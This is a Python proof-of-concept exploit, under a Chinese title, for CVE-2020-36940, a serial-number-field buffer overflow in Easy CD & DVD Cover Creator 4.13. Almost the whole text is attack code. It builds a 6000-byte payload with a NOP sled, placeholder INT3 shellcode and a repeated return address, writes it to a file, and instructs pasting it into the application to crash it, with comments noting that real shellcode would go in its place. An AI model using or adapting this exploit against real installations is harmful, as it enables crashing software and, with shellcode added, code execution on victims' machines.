CVE-2020-36940 Easy CD & DVD Cover Creator 序列号输入缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2020-36940 PoC - Easy CD & DVD Cover Creator Buffer Overflow Easy CD & DVD Cover Creator 4.13 Serial Number Field Buffer Overflow This PoC demonstrates the buffer overflow vulnerability in the serial number input field of Easy CD & DVD Cover Creator 4.13 Reference: https://www.exploit-db.com/exploits/49337 """ import struct import sys def generate_payload(payload_size=6000): """ Generate buffer overflow payload for Easy CD & DVD Cover Creator Args: payload_size: Size of the payload in bytes (default: 6000) Returns: bytes: Malicious payload data """ # Fill pattern to trigger overflow # Using cyclic pattern to identify offset if needed payload = b'A' * payload_size # Alternative: Generate shellcode-friendly payload # NOP sled + shellcode + return address nop_sled = b'\x90' * 100 # 100 NOP instructions # Placeholder for actual shellcode # In real attack, this would contain malicious code shellcode = b'\xcc' * 50 # INT3 breakpoint (for testing only) # Fill remaining space with return address # Using address that points to NOP sled ret_addr = struct.pack('<I', 0x41414141) # Placeholder address filler = ret_addr * ((payload_size - len(nop_sled) - len(shellcode)) // 4) payload = nop_sled + shellcode + filler return payload def main(): print("[*] CVE-2020-36940 PoC Generator") print("[*] Target: Easy CD & DVD Cover Creator 4.13") print("[*] Vulnerability: Buffer Overflow in Serial Number Field\n") # Generate default payload (6000 bytes) payload = generate_payload(6000) print(f"[+] Generated payload size: {len(payload)} bytes") print(f"[+] Payload hex preview: {payload[:64].hex()}...") print("\n[!] Usage: Copy the generated payload and paste into") print(" the serial number field of Easy CD & DVD Cover Creator") print("\n[!] This will trigger a buffer overflow and crash the application.") # Save payload to file for easy access with open('CVE-2020-36940_payload.bin', 'wb') as f: f.write(payload) print(f"\n[+] Payload saved to: CVE-2020-36940_payload.bin") return 0 if __name__ == '__main__': sys.exit(main())